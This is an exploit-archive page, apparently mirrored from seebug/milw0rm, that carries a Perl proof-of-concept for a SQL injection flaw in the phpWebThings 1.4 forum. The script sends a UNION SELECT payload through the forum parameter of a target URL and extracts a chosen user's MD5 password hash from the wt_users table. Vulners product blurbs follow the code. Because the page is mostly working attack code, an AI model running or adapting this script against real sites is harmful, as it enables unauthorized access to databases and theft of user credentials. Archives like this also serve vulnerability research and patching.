Lucene search
K

PHPWebThings <= 1.4 (forum) SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

phpWebThings forum SQL injection exploit v1.4.

Code

                                                #!/bin/bin/perl
#-----------------------------------------------------#
#-      SQL injection in phpwebthing v 1.4.4
#-      Founder by Qptan & Exploting by AhLam
#-      www.leZe.Com Only For Geek Hacker&#39;s
#-      coded by AhLaM  A.1.M|at|hotmail.com
#-      http://www.lezr.com/vb/showthread.php?t=6557
#-----------------------------------------------------#
use LWP::Simple;

print &#34;\n============================================\n&#34;;
print &#34;\n   SQL injection in phpwebthing v 1.4.4    =  &#34;;
print &#34;\n   Founder by Qptan & Exploting by AhLam   =  &#34;;
print &#34;\n   www.leZe.Com Only For Geek Hacker&#39;s     =  &#34;;
print &#34;\n   Coded By AhLaM   A.1.M|at|hotmail.com         &#34;;
print &#34;\n============================================\n&#34;;

if(!$ARGV[0] or !$ARGV[1]) {
 print &#34;\nUsage:\nperl $0 [host] [User ID] \n\nExample:\nperl $0 http://www.target.com/ 1\n&#34;;
 exit(0);
}
$url = &#34;/forum.php?forum=-1%20union%20select%20password,password,null,null%20from%20wt_users%20where%20uid=$ARGV[1]/*&#34;;
$page = get($ARGV[0].$url) || die &#34;[-] Unable to retrieve: $!&#34;;
print &#34;[+] Connected to: $ARGV[0]\n&#34;;
$page =~ m/ - (.*?)&#60;\/td&#62;/ && print &#34;[+] MD5 hash of password is: $1\n&#34;;
print &#34;[-] Unable to retrieve hash of password\n&#34; if(!$1);

# milw0rm.com [2005-11-16]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation